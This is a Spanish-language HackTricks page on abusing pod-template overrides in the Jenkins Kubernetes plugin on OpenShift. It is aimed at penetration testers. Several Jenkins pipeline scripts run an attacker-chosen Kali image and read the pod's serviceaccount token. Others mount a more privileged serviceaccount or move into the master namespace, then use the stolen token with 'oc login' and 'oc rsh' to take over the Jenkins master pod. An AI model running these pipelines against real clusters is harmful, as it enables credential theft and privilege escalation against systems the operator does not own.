Jenkins en Openshift - sobrescrituras de pod de construcción

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

El autor original de esta página es Fares

Plugin de Kubernetes para Jenkins

Este plugin es principalmente responsable de las funciones centrales de Jenkins dentro de un clúster de openshift/kubernetes. Documentación oficial aquí Ofrece algunas funcionalidades como la capacidad de los desarrolladores para sobrescribir algunas configuraciones predeterminadas de un pod de construcción de jenkins.

Funcionalidad principal

Este plugin permite flexibilidad a los desarrolladores al construir su código en un entorno adecuado.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Algunos abusos aprovechando la anulación de yaml de pod

Sin embargo, se puede abusar para usar cualquier imagen accesible, como Kali Linux, y ejecutar comandos arbitrarios utilizando herramientas preinstaladas de esa imagen. En el ejemplo a continuación, podemos exfiltrar el token de serviceaccount del pod en ejecución.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Una sintaxis diferente para lograr el mismo objetivo.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ejemplo para anular el espacio de nombres del pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Otro ejemplo que intenta montar un serviceaccount (que puede tener más permisos que el predeterminado, ejecutando tu build) basado en su nombre. Es posible que necesites adivinar o enumerar los serviceaccounts existentes primero.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

La misma técnica se aplica para intentar montar un Secret. El objetivo final aquí sería averiguar cómo configurar la construcción de tu pod para pivotar o ganar privilegios de manera efectiva.

Ir más allá

Una vez que te acostumbres a jugar con ello, utiliza tu conocimiento sobre Jenkins y Kubernetes/Openshift para encontrar configuraciones incorrectas / abusos.

Pregúntate las siguientes preguntas:

  • ¿Qué cuenta de servicio se está utilizando para desplegar pods de construcción?
  • ¿Qué roles y permisos tiene? ¿Puede leer secretos del namespace en el que me encuentro actualmente?
  • ¿Puedo enumerar más pods de construcción?
  • Desde un sa comprometido, ¿puedo ejecutar comandos en el nodo/pod maestro?
  • ¿Puedo enumerar más el clúster para pivotar a otro lugar?
  • ¿Qué SCC se aplica?

Puedes encontrar qué comandos oc/kubectl emitir aquí y aquí.

Posibles escenarios de privesc/pivoting

Supongamos que durante tu evaluación descubriste que todas las construcciones de jenkins se ejecutan dentro de un namespace llamado worker-ns. Te diste cuenta de que una cuenta de servicio predeterminada llamada default-sa está montada en los pods de construcción, sin embargo, no tiene muchos permisos excepto acceso de lectura a algunos recursos, pero pudiste identificar una cuenta de servicio existente llamada master-sa. Supongamos también que tienes el comando oc instalado dentro del contenedor de construcción en ejecución.

Con el siguiente script de construcción puedes tomar control de la cuenta de servicio master-sa y enumerar más.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Dependiendo de su acceso, ya sea que necesite continuar su ataque desde el script de construcción o puede iniciar sesión directamente como este sa en el clúster en ejecución:

oc login --token=$token --server=https://apiserver.com:port

Si este sa tiene suficientes permisos (como pod/exec), también puedes tomar el control de toda la instancia de jenkins ejecutando comandos dentro del pod del nodo maestro, si se está ejecutando dentro del mismo espacio de nombres. Puedes identificar fácilmente este pod a través de su nombre y por el hecho de que debe estar montando un PVC (reclamación de volumen persistente) utilizado para almacenar datos de jenkins.

oc rsh pod_name -c container_name

En caso de que el pod del nodo maestro no esté ejecutándose dentro del mismo espacio de nombres que los trabajadores, puedes intentar ataques similares dirigiéndote al espacio de nombres maestro. Supongamos que se llama jenkins-master. Ten en cuenta que el serviceAccount master-sa debe existir en el espacio de nombres jenkins-master (y puede que no exista en el espacio de nombres worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>